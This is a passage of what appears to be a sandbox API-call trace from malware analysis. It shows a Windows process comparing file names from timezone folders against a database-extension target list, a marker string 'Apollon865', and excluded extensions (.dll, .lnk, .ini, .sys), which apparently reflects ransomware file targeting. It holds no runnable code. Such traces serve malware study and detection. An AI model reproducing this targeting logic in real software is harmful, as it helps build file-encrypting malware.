	[0054.908] lstrlenW (lpString="db-journal") returned 10
	[0054.908] lstrlenW (lpString="db-shm") returned 6
	[0054.908] lstrlenW (lpString="db-wal") returned 6
	[0054.908] lstrlenW (lpString="dbc") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dbc") returned -1
	[0054.908] lstrlenW (lpString="dbs") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dbs") returned -1
	[0054.908] lstrlenW (lpString="dbt") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dbt") returned -1
	[0054.908] lstrlenW (lpString="dbv") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dbv") returned -1
	[0054.908] lstrlenW (lpString="dbx") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dbx") returned -1
	[0054.908] lstrlenW (lpString="dcb") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dcb") returned -1
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dct") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="dcx") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="ddl") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="dp1") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="dqy") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="dsk") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="dsn") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="dxl") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="eco") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="ecx") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="edb") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fcd") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fdb") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fic") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fm5") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fmp") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fol") returned -1
	[0054.909] lstrcmpiW (lpString1="aku", lpString2="fp3") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="fp4") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="fp5") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="fp7") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="fpt") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="frm") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="gdb") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="gdb") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="gwi") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="hdb") returned -1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="his") returned -1
	[0054.910] lstrcmpiW (lpString1="ku", lpString2="ib") returned 1
	[0054.910] lstrcmpiW (lpString1="aku", lpString2="idb") returned -1
	[0054.910] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Bangkok" | out: lpString1="Bangkok") returned="Bangkok"
	[0054.910] lstrlenW (lpString="Bangkok") returned 7
	[0054.910] lstrlenW (lpString="Apollon865") returned 10
	[0054.910] lstrlenW (lpString=".dll") returned 4
	[0054.910] lstrcmpiW (lpString1="Bangkok", lpString2=".dll") returned 1
	[0054.910] lstrlenW (lpString=".lnk") returned 4
	[0054.910] lstrcmpiW (lpString1="Bangkok", lpString2=".lnk") returned 1
	[0054.910] lstrlenW (lpString=".ini") returned 4
	[0054.910] lstrcmpiW (lpString1="Bangkok", lpString2=".ini") returned 1
	[0054.910] lstrlenW (lpString=".sys") returned 4
	[0054.911] lstrcmpiW (lpString1="Bangkok", lpString2=".sys") returned 1
	[0054.911] lstrlenW (lpString="Bangkok") returned 7
	[0054.911] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Beirut" | out: lpString1="Beirut") returned="Beirut"
	[0054.911] lstrlenW (lpString="Beirut") returned 6
	[0054.911] lstrlenW (lpString="Apollon865") returned 10
	[0054.911] lstrlenW (lpString=".dll") returned 4
	[0054.911] lstrcmpiW (lpString1="Beirut", lpString2=".dll") returned 1
	[0054.911] lstrlenW (lpString=".lnk") returned 4
	[0054.911] lstrcmpiW (lpString1="Beirut", lpString2=".lnk") returned 1
	[0054.911] lstrlenW (lpString=".ini") returned 4
	[0054.911] lstrcmpiW (lpString1="Beirut", lpString2=".ini") returned 1
	[0054.911] lstrlenW (lpString=".sys") returned 4
	[0054.911] lstrcmpiW (lpString1="Beirut", lpString2=".sys") returned 1
	[0054.911] lstrlenW (lpString="Beirut") returned 6
	[0054.911] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Bishkek" | out: lpString1="Bishkek") returned="Bishkek"
	[0054.911] lstrlenW (lpString="Bishkek") returned 7
	[0054.911] lstrlenW (lpString="Apollon865") returned 10
	[0054.911] lstrlenW (lpString=".dll") returned 4
	[0054.911] lstrcmpiW (lpString1="Bishkek", lpString2=".dll") returned 1
	[0054.911] lstrlenW (lpString=".lnk") returned 4
	[0054.911] lstrcmpiW (lpString1="Bishkek", lpString2=".lnk") returned 1
	[0054.911] lstrlenW (lpString=".ini") returned 4
	[0054.911] lstrcmpiW (lpString1="Bishkek", lpString2=".ini") returned 1
	[0054.911] lstrlenW (lpString=".sys") returned 4
	[0054.911] lstrcmpiW (lpString1="Bishkek", lpString2=".sys") returned 1
	[0054.911] lstrlenW (lpString="Bishkek") returned 7
	[0054.911] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Brunei" | out: lpString1="Brunei") returned="Brunei"
	[0054.911] lstrlenW (lpString="Brunei") returned 6
	[0054.912] lstrlenW (lpString="Apollon865") returned 10
	[0054.912] lstrlenW (lpString=".dll") returned 4
	[0054.912] lstrcmpiW (lpString1="Brunei", lpString2=".dll") returned 1
	[0054.912] lstrlenW (lpString=".lnk") returned 4
	[0054.912] lstrcmpiW (lpString1="Brunei", lpString2=".lnk") returned 1
	[0054.912] lstrlenW (lpString=".ini") returned 4
	[0054.912] lstrcmpiW (lpString1="Brunei", lpString2=".ini") returned 1
	[0054.912] lstrlenW (lpString=".sys") returned 4
	[0054.912] lstrcmpiW (lpString1="Brunei", lpString2=".sys") returned 1
	[0054.912] lstrlenW (lpString="Brunei") returned 6
	[0054.912] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Choibalsan" | out: lpString1="Choibalsan") returned="Choibalsan"
	[0054.912] lstrlenW (lpString="Choibalsan") returned 10
	[0054.912] lstrlenW (lpString="Apollon865") returned 10
	[0054.912] lstrlenW (lpString=".dll") returned 4
	[0054.912] lstrcmpiW (lpString1="Choibalsan", lpString2=".dll") returned 1
	[0054.912] lstrlenW (lpString=".lnk") returned 4
	[0054.912] lstrcmpiW (lpString1="Choibalsan", lpString2=".lnk") returned 1
	[0054.912] lstrlenW (lpString=".ini") returned 4
	[0054.912] lstrcmpiW (lpString1="Choibalsan", lpString2=".ini") returned 1
	[0054.912] lstrlenW (lpString=".sys") returned 4
	[0054.912] lstrcmpiW (lpString1="Choibalsan", lpString2=".sys") returned 1
	[0054.912] lstrlenW (lpString="Choibalsan") returned 10
	[0054.912] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Chongqing" | out: lpString1="Chongqing") returned="Chongqing"
	[0054.912] lstrlenW (lpString="Chongqing") returned 9
	[0054.912] lstrlenW (lpString="Apollon865") returned 10
	[0054.912] lstrlenW (lpString=".dll") returned 4
	[0054.912] lstrcmpiW (lpString1="Chongqing", lpString2=".dll") returned 1
	[0054.912] lstrlenW (lpString=".lnk") returned 4
	[0054.912] lstrcmpiW (lpString1="Chongqing", lpString2=".lnk") returned 1
	[0054.912] lstrlenW (lpString=".ini") returned 4
	[0054.913] lstrcmpiW (lpString1="Chongqing", lpString2=".ini") returned 1
	[0054.913] lstrlenW (lpString=".sys") returned 4
	[0054.913] lstrcmpiW (lpString1="Chongqing", lpString2=".sys") returned 1
	[0054.913] lstrlenW (lpString="Chongqing") returned 9
	[0054.913] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Colombo" | out: lpString1="Colombo") returned="Colombo"
	[0054.913] lstrlenW (lpString="Colombo") returned 7
	[0054.913] lstrlenW (lpString="Apollon865") returned 10
	[0054.913] lstrlenW (lpString=".dll") returned 4
	[0054.913] lstrcmpiW (lpString1="Colombo", lpString2=".dll") returned 1
	[0054.913] lstrlenW (lpString=".lnk") returned 4
	[0054.913] lstrcmpiW (lpString1="Colombo", lpString2=".lnk") returned 1
	[0054.913] lstrlenW (lpString=".ini") returned 4
	[0054.913] lstrcmpiW (lpString1="Colombo", lpString2=".ini") returned 1
	[0054.913] lstrlenW (lpString=".sys") returned 4
	[0054.913] lstrcmpiW (lpString1="Colombo", lpString2=".sys") returned 1
	[0054.913] lstrlenW (lpString="Colombo") returned 7
	[0054.913] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Damascus" | out: lpString1="Damascus") returned="Damascus"
	[0054.913] lstrlenW (lpString="Damascus") returned 8
	[0054.913] lstrlenW (lpString="Apollon865") returned 10
	[0054.913] lstrlenW (lpString=".dll") returned 4
	[0054.913] lstrcmpiW (lpString1="Damascus", lpString2=".dll") returned 1
	[0054.913] lstrlenW (lpString=".lnk") returned 4
	[0054.913] lstrcmpiW (lpString1="Damascus", lpString2=".lnk") returned 1
	[0054.913] lstrlenW (lpString=".ini") returned 4
	[0054.913] lstrcmpiW (lpString1="Damascus", lpString2=".ini") returned 1
	[0054.913] lstrlenW (lpString=".sys") returned 4
	[0054.913] lstrcmpiW (lpString1="Damascus", lpString2=".sys") returned 1
	[0054.913] lstrlenW (lpString="Damascus") returned 8
	[0054.914] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Dhaka" | out: lpString1="Dhaka") returned="Dhaka"
	[0054.914] lstrlenW (lpString="Dhaka") returned 5
	[0054.914] lstrlenW (lpString="Apollon865") returned 10
	[0054.914] lstrlenW (lpString=".dll") returned 4
	[0054.914] lstrcmpiW (lpString1="Dhaka", lpString2=".dll") returned 1
	[0054.914] lstrlenW (lpString=".lnk") returned 4
	[0054.914] lstrcmpiW (lpString1="Dhaka", lpString2=".lnk") returned 1
	[0054.914] lstrlenW (lpString=".ini") returned 4
	[0054.914] lstrcmpiW (lpString1="Dhaka", lpString2=".ini") returned 1
	[0054.914] lstrlenW (lpString=".sys") returned 4
	[0054.914] lstrcmpiW (lpString1="Dhaka", lpString2=".sys") returned 1
	[0054.914] lstrlenW (lpString="Dhaka") returned 5
	[0054.914] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Dili" | out: lpString1="Dili") returned="Dili"
	[0054.914] lstrlenW (lpString="Dili") returned 4
	[0054.914] lstrlenW (lpString="Apollon865") returned 10
	[0054.914] lstrlenW (lpString=".dll") returned 4
	[0054.914] lstrlenW (lpString=".lnk") returned 4
	[0054.914] lstrlenW (lpString=".ini") returned 4
	[0054.914] lstrlenW (lpString=".sys") returned 4
	[0054.914] lstrlenW (lpString="Dili") returned 4
	[0054.914] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Dubai" | out: lpString1="Dubai") returned="Dubai"
	[0054.914] lstrlenW (lpString="Dubai") returned 5
	[0054.914] lstrlenW (lpString="Apollon865") returned 10
	[0054.914] lstrlenW (lpString=".dll") returned 4
	[0054.914] lstrcmpiW (lpString1="Dubai", lpString2=".dll") returned 1
	[0054.914] lstrlenW (lpString=".lnk") returned 4
	[0054.914] lstrcmpiW (lpString1="Dubai", lpString2=".lnk") returned 1
	[0054.914] lstrlenW (lpString=".ini") returned 4
	[0054.914] lstrcmpiW (lpString1="Dubai", lpString2=".ini") returned 1
	[0054.914] lstrlenW (lpString=".sys") returned 4
	[0054.914] lstrcmpiW (lpString1="Dubai", lpString2=".sys") returned 1
	[0054.914] lstrlenW (lpString="Dubai") returned 5
	[0054.915] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Dushanbe" | out: lpString1="Dushanbe") returned="Dushanbe"
	[0054.915] lstrlenW (lpString="Dushanbe") returned 8
	[0054.915] lstrlenW (lpString="Apollon865") returned 10
	[0054.915] lstrlenW (lpString=".dll") returned 4
	[0054.915] lstrcmpiW (lpString1="Dushanbe", lpString2=".dll") returned 1
	[0054.915] lstrlenW (lpString=".lnk") returned 4
	[0054.915] lstrcmpiW (lpString1="Dushanbe", lpString2=".lnk") returned 1
	[0054.915] lstrlenW (lpString=".ini") returned 4
	[0054.915] lstrcmpiW (lpString1="Dushanbe", lpString2=".ini") returned 1
	[0054.915] lstrlenW (lpString=".sys") returned 4
	[0054.915] lstrcmpiW (lpString1="Dushanbe", lpString2=".sys") returned 1
	[0054.915] lstrlenW (lpString="Dushanbe") returned 8
	[0054.915] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Gaza" | out: lpString1="Gaza") returned="Gaza"
	[0054.915] lstrlenW (lpString="Gaza") returned 4
	[0054.915] lstrlenW (lpString="Apollon865") returned 10
	[0054.915] lstrlenW (lpString=".dll") returned 4
	[0054.915] lstrlenW (lpString=".lnk") returned 4
	[0054.915] lstrlenW (lpString=".ini") returned 4
	[0054.915] lstrlenW (lpString=".sys") returned 4
	[0054.915] lstrlenW (lpString="Gaza") returned 4
	[0054.915] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Harbin" | out: lpString1="Harbin") returned="Harbin"
	[0054.915] lstrlenW (lpString="Harbin") returned 6
	[0054.915] lstrlenW (lpString="Apollon865") returned 10
	[0054.915] lstrlenW (lpString=".dll") returned 4
	[0054.915] lstrcmpiW (lpString1="Harbin", lpString2=".dll") returned 1
	[0054.915] lstrlenW (lpString=".lnk") returned 4
	[0054.915] lstrcmpiW (lpString1="Harbin", lpString2=".lnk") returned 1
	[0054.915] lstrlenW (lpString=".ini") returned 4
	[0054.915] lstrcmpiW (lpString1="Harbin", lpString2=".ini") returned 1
	[0054.915] lstrlenW (lpString=".sys") returned 4
	[0054.916] lstrcmpiW (lpString1="Harbin", lpString2=".sys") returned 1
	[0054.916] lstrlenW (lpString="Harbin") returned 6
	[0054.916] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Hebron" | out: lpString1="Hebron") returned="Hebron"
	[0054.916] lstrlenW (lpString="Hebron") returned 6
	[0054.916] lstrlenW (lpString="Apollon865") returned 10
	[0054.916] lstrlenW (lpString=".dll") returned 4
	[0054.916] lstrcmpiW (lpString1="Hebron", lpString2=".dll") returned 1
	[0054.916] lstrlenW (lpString=".lnk") returned 4
	[0054.916] lstrcmpiW (lpString1="Hebron", lpString2=".lnk") returned 1
	[0054.916] lstrlenW (lpString=".ini") returned 4
	[0054.916] lstrcmpiW (lpString1="Hebron", lpString2=".ini") returned 1
	[0054.916] lstrlenW (lpString=".sys") returned 4
	[0054.916] lstrcmpiW (lpString1="Hebron", lpString2=".sys") returned 1
	[0054.916] lstrlenW (lpString="Hebron") returned 6
	[0054.916] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Hong_Kong" | out: lpString1="Hong_Kong") returned="Hong_Kong"
	[0054.916] lstrlenW (lpString="Hong_Kong") returned 9
	[0054.916] lstrlenW (lpString="Apollon865") returned 10
	[0054.916] lstrlenW (lpString=".dll") returned 4
	[0054.916] lstrcmpiW (lpString1="Hong_Kong", lpString2=".dll") returned 1
	[0054.916] lstrlenW (lpString=".lnk") returned 4
	[0054.916] lstrcmpiW (lpString1="Hong_Kong", lpString2=".lnk") returned 1
	[0054.916] lstrlenW (lpString=".ini") returned 4
	[0054.916] lstrcmpiW (lpString1="Hong_Kong", lpString2=".ini") returned 1
	[0054.916] lstrlenW (lpString=".sys") returned 4
	[0054.916] lstrcmpiW (lpString1="Hong_Kong", lpString2=".sys") returned 1
	[0054.916] lstrlenW (lpString="Hong_Kong") returned 9
	[0054.916] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Hovd" | out: lpString1="Hovd") returned="Hovd"
	[0054.916] lstrlenW (lpString="Hovd") returned 4
	[0054.916] lstrlenW (lpString="Apollon865") returned 10
	[0054.916] lstrlenW (lpString=".dll") returned 4
	[0054.916] lstrlenW (lpString=".lnk") returned 4
	[0054.917] lstrlenW (lpString=".ini") returned 4
	[0054.917] lstrlenW (lpString=".sys") returned 4
	[0054.917] lstrlenW (lpString="Hovd") returned 4
	[0054.917] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Ho_Chi_Minh" | out: lpString1="Ho_Chi_Minh") returned="Ho_Chi_Minh"
	[0054.917] lstrlenW (lpString="Ho_Chi_Minh") returned 11
	[0054.917] lstrlenW (lpString="Apollon865") returned 10
	[0054.917] lstrcmpiW (lpString1="o_Chi_Minh", lpString2="Apollon865") returned 1
	[0054.917] lstrlenW (lpString=".dll") returned 4
	[0054.917] lstrcmpiW (lpString1="Ho_Chi_Minh", lpString2=".dll") returned 1
	[0054.917] lstrlenW (lpString=".lnk") returned 4
	[0054.917] lstrcmpiW (lpString1="Ho_Chi_Minh", lpString2=".lnk") returned 1
	[0054.917] lstrlenW (lpString=".ini") returned 4
	[0054.917] lstrcmpiW (lpString1="Ho_Chi_Minh", lpString2=".ini") returned 1
	[0054.917] lstrlenW (lpString=".sys") returned 4
	[0054.917] lstrcmpiW (lpString1="Ho_Chi_Minh", lpString2=".sys") returned 1
	[0054.917] lstrlenW (lpString="Ho_Chi_Minh") returned 11
	[0054.917] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Irkutsk" | out: lpString1="Irkutsk") returned="Irkutsk"
	[0054.917] lstrlenW (lpString="Irkutsk") returned 7
	[0054.917] lstrlenW (lpString="Apollon865") returned 10
	[0054.917] lstrlenW (lpString=".dll") returned 4
	[0054.917] lstrcmpiW (lpString1="Irkutsk", lpString2=".dll") returned 1
	[0054.917] lstrlenW (lpString=".lnk") returned 4
	[0054.917] lstrcmpiW (lpString1="Irkutsk", lpString2=".lnk") returned 1
	[0054.917] lstrlenW (lpString=".ini") returned 4
	[0054.917] lstrcmpiW (lpString1="Irkutsk", lpString2=".ini") returned 1
	[0054.917] lstrlenW (lpString=".sys") returned 4
	[0054.917] lstrcmpiW (lpString1="Irkutsk", lpString2=".sys") returned 1
	[0054.917] lstrlenW (lpString="Irkutsk") returned 7
	[0054.917] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Jakarta" | out: lpString1="Jakarta") returned="Jakarta"
	[0054.918] lstrlenW (lpString="Jakarta") returned 7
	[0054.918] lstrlenW (lpString="Apollon865") returned 10
	[0054.918] lstrlenW (lpString=".dll") returned 4
	[0054.918] lstrcmpiW (lpString1="Jakarta", lpString2=".dll") returned 1
	[0054.918] lstrlenW (lpString=".lnk") returned 4
	[0054.918] lstrcmpiW (lpString1="Jakarta", lpString2=".lnk") returned 1
	[0054.918] lstrlenW (lpString=".ini") returned 4
	[0054.918] lstrcmpiW (lpString1="Jakarta", lpString2=".ini") returned 1
	[0054.918] lstrlenW (lpString=".sys") returned 4
	[0054.918] lstrcmpiW (lpString1="Jakarta", lpString2=".sys") returned 1
	[0054.918] lstrlenW (lpString="Jakarta") returned 7
	[0054.918] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Jayapura" | out: lpString1="Jayapura") returned="Jayapura"
	[0054.918] lstrlenW (lpString="Jayapura") returned 8
	[0054.918] lstrlenW (lpString="Apollon865") returned 10
	[0054.918] lstrlenW (lpString=".dll") returned 4
	[0054.918] lstrcmpiW (lpString1="Jayapura", lpString2=".dll") returned 1
	[0054.918] lstrlenW (lpString=".lnk") returned 4
	[0054.918] lstrcmpiW (lpString1="Jayapura", lpString2=".lnk") returned 1
	[0054.918] lstrlenW (lpString=".ini") returned 4
	[0054.918] lstrcmpiW (lpString1="Jayapura", lpString2=".ini") returned 1
	[0054.918] lstrlenW (lpString=".sys") returned 4
	[0054.918] lstrcmpiW (lpString1="Jayapura", lpString2=".sys") returned 1
	[0054.918] lstrlenW (lpString="Jayapura") returned 8
	[0054.918] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Jerusalem" | out: lpString1="Jerusalem") returned="Jerusalem"
	[0054.918] lstrlenW (lpString="Jerusalem") returned 9
	[0054.918] lstrlenW (lpString="Apollon865") returned 10
	[0054.918] lstrlenW (lpString=".dll") returned 4
	[0054.918] lstrcmpiW (lpString1="Jerusalem", lpString2=".dll") returned 1
	[0054.918] lstrlenW (lpString=".lnk") returned 4
	[0054.918] lstrcmpiW (lpString1="Jerusalem", lpString2=".lnk") returned 1
	[0054.919] lstrlenW (lpString=".ini") returned 4
	[0054.919] lstrcmpiW (lpString1="Jerusalem", lpString2=".ini") returned 1
	[0054.919] lstrlenW (lpString=".sys") returned 4
	[0054.919] lstrcmpiW (lpString1="Jerusalem", lpString2=".sys") returned 1
	[0054.919] lstrlenW (lpString="Jerusalem") returned 9
	[0054.919] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kabul" | out: lpString1="Kabul") returned="Kabul"
	[0054.919] lstrlenW (lpString="Kabul") returned 5
	[0054.919] lstrlenW (lpString="Apollon865") returned 10
	[0054.919] lstrlenW (lpString=".dll") returned 4
	[0054.919] lstrcmpiW (lpString1="Kabul", lpString2=".dll") returned 1
	[0054.919] lstrlenW (lpString=".lnk") returned 4
	[0054.919] lstrcmpiW (lpString1="Kabul", lpString2=".lnk") returned 1
	[0054.919] lstrlenW (lpString=".ini") returned 4
	[0054.919] lstrcmpiW (lpString1="Kabul", lpString2=".ini") returned 1
	[0054.919] lstrlenW (lpString=".sys") returned 4
	[0054.919] lstrcmpiW (lpString1="Kabul", lpString2=".sys") returned 1
	[0054.919] lstrlenW (lpString="Kabul") returned 5
	[0054.919] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kamchatka" | out: lpString1="Kamchatka") returned="Kamchatka"
	[0054.919] lstrlenW (lpString="Kamchatka") returned 9
	[0054.919] lstrlenW (lpString="Apollon865") returned 10
	[0054.919] lstrlenW (lpString=".dll") returned 4
	[0054.919] lstrcmpiW (lpString1="Kamchatka", lpString2=".dll") returned 1
	[0054.919] lstrlenW (lpString=".lnk") returned 4
	[0054.919] lstrcmpiW (lpString1="Kamchatka", lpString2=".lnk") returned 1
	[0054.919] lstrlenW (lpString=".ini") returned 4
	[0054.919] lstrcmpiW (lpString1="Kamchatka", lpString2=".ini") returned 1
	[0054.919] lstrlenW (lpString=".sys") returned 4
	[0054.919] lstrcmpiW (lpString1="Kamchatka", lpString2=".sys") returned 1
	[0054.919] lstrlenW (lpString="Kamchatka") returned 9
	[0054.924] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Karachi" | out: lpString1="Karachi") returned="Karachi"
	[0054.924] lstrlenW (lpString="Karachi") returned 7
	[0054.924] lstrlenW (lpString="Apollon865") returned 10
	[0054.924] lstrlenW (lpString=".dll") returned 4
	[0054.924] lstrcmpiW (lpString1="Karachi", lpString2=".dll") returned 1
	[0054.924] lstrlenW (lpString=".lnk") returned 4
	[0054.924] lstrcmpiW (lpString1="Karachi", lpString2=".lnk") returned 1
	[0054.924] lstrlenW (lpString=".ini") returned 4
	[0054.924] lstrcmpiW (lpString1="Karachi", lpString2=".ini") returned 1
	[0054.924] lstrlenW (lpString=".sys") returned 4
	[0054.924] lstrcmpiW (lpString1="Karachi", lpString2=".sys") returned 1
	[0054.924] lstrlenW (lpString="Karachi") returned 7
	[0054.925] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kashgar" | out: lpString1="Kashgar") returned="Kashgar"
	[0054.925] lstrlenW (lpString="Kashgar") returned 7
	[0054.925] lstrlenW (lpString="Apollon865") returned 10
	[0054.925] lstrlenW (lpString=".dll") returned 4
	[0054.925] lstrcmpiW (lpString1="Kashgar", lpString2=".dll") returned 1
	[0054.925] lstrlenW (lpString=".lnk") returned 4
	[0054.925] lstrcmpiW (lpString1="Kashgar", lpString2=".lnk") returned 1
	[0054.925] lstrlenW (lpString=".ini") returned 4
	[0054.925] lstrcmpiW (lpString1="Kashgar", lpString2=".ini") returned 1
	[0054.925] lstrlenW (lpString=".sys") returned 4
	[0054.925] lstrcmpiW (lpString1="Kashgar", lpString2=".sys") returned 1
	[0054.925] lstrlenW (lpString="Kashgar") returned 7
	[0054.925] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kathmandu" | out: lpString1="Kathmandu") returned="Kathmandu"
	[0054.925] lstrlenW (lpString="Kathmandu") returned 9
	[0054.925] lstrlenW (lpString="Apollon865") returned 10
	[0054.925] lstrlenW (lpString=".dll") returned 4
	[0054.925] lstrcmpiW (lpString1="Kathmandu", lpString2=".dll") returned 1
	[0054.925] lstrlenW (lpString=".lnk") returned 4
	[0054.925] lstrcmpiW (lpString1="Kathmandu", lpString2=".lnk") returned 1
	[0054.925] lstrlenW (lpString=".ini") returned 4
	[0054.925] lstrcmpiW (lpString1="Kathmandu", lpString2=".ini") returned 1
	[0054.925] lstrlenW (lpString=".sys") returned 4
	[0054.925] lstrcmpiW (lpString1="Kathmandu", lpString2=".sys") returned 1
	[0054.925] lstrlenW (lpString="Kathmandu") returned 9
	[0054.925] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Khandyga" | out: lpString1="Khandyga") returned="Khandyga"
	[0054.925] lstrlenW (lpString="Khandyga") returned 8
	[0054.925] lstrlenW (lpString="Apollon865") returned 10
	[0054.925] lstrlenW (lpString=".dll") returned 4
	[0054.925] lstrcmpiW (lpString1="Khandyga", lpString2=".dll") returned 1
	[0054.925] lstrlenW (lpString=".lnk") returned 4
	[0054.925] lstrcmpiW (lpString1="Khandyga", lpString2=".lnk") returned 1
	[0054.926] lstrlenW (lpString=".ini") returned 4
	[0054.926] lstrcmpiW (lpString1="Khandyga", lpString2=".ini") returned 1
	[0054.926] lstrlenW (lpString=".sys") returned 4
	[0054.926] lstrcmpiW (lpString1="Khandyga", lpString2=".sys") returned 1
	[0054.926] lstrlenW (lpString="Khandyga") returned 8
	[0054.926] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kolkata" | out: lpString1="Kolkata") returned="Kolkata"
	[0054.926] lstrlenW (lpString="Kolkata") returned 7
	[0054.926] lstrlenW (lpString="Apollon865") returned 10
	[0054.926] lstrlenW (lpString=".dll") returned 4
	[0054.926] lstrcmpiW (lpString1="Kolkata", lpString2=".dll") returned 1
	[0054.926] lstrlenW (lpString=".lnk") returned 4
	[0054.926] lstrcmpiW (lpString1="Kolkata", lpString2=".lnk") returned 1
	[0054.926] lstrlenW (lpString=".ini") returned 4
	[0054.926] lstrcmpiW (lpString1="Kolkata", lpString2=".ini") returned 1
	[0054.926] lstrlenW (lpString=".sys") returned 4
	[0054.926] lstrcmpiW (lpString1="Kolkata", lpString2=".sys") returned 1
	[0054.926] lstrlenW (lpString="Kolkata") returned 7
	[0054.926] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Krasnoyarsk" | out: lpString1="Krasnoyarsk") returned="Krasnoyarsk"
	[0054.926] lstrlenW (lpString="Krasnoyarsk") returned 11
	[0054.926] lstrlenW (lpString="Apollon865") returned 10
	[0054.926] lstrcmpiW (lpString1="rasnoyarsk", lpString2="Apollon865") returned 1
	[0054.926] lstrlenW (lpString=".dll") returned 4
	[0054.926] lstrcmpiW (lpString1="Krasnoyarsk", lpString2=".dll") returned 1
	[0054.926] lstrlenW (lpString=".lnk") returned 4
	[0054.926] lstrcmpiW (lpString1="Krasnoyarsk", lpString2=".lnk") returned 1
	[0054.926] lstrlenW (lpString=".ini") returned 4
	[0054.926] lstrcmpiW (lpString1="Krasnoyarsk", lpString2=".ini") returned 1
	[0054.926] lstrlenW (lpString=".sys") returned 4
	[0054.926] lstrcmpiW (lpString1="Krasnoyarsk", lpString2=".sys") returned 1
	[0054.926] lstrlenW (lpString="Krasnoyarsk") returned 11
	[0054.927] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kuala_Lumpur" | out: lpString1="Kuala_Lumpur") returned="Kuala_Lumpur"
	[0054.927] lstrlenW (lpString="Kuala_Lumpur") returned 12
	[0054.927] lstrlenW (lpString="Apollon865") returned 10
	[0054.927] lstrcmpiW (lpString1="ala_Lumpur", lpString2="Apollon865") returned -1
	[0054.927] lstrlenW (lpString=".dll") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuala_Lumpur", lpString2=".dll") returned 1
	[0054.927] lstrlenW (lpString=".lnk") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuala_Lumpur", lpString2=".lnk") returned 1
	[0054.927] lstrlenW (lpString=".ini") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuala_Lumpur", lpString2=".ini") returned 1
	[0054.927] lstrlenW (lpString=".sys") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuala_Lumpur", lpString2=".sys") returned 1
	[0054.927] lstrlenW (lpString="Kuala_Lumpur") returned 12
	[0054.927] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kuching" | out: lpString1="Kuching") returned="Kuching"
	[0054.927] lstrlenW (lpString="Kuching") returned 7
	[0054.927] lstrlenW (lpString="Apollon865") returned 10
	[0054.927] lstrlenW (lpString=".dll") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuching", lpString2=".dll") returned 1
	[0054.927] lstrlenW (lpString=".lnk") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuching", lpString2=".lnk") returned 1
	[0054.927] lstrlenW (lpString=".ini") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuching", lpString2=".ini") returned 1
	[0054.927] lstrlenW (lpString=".sys") returned 4
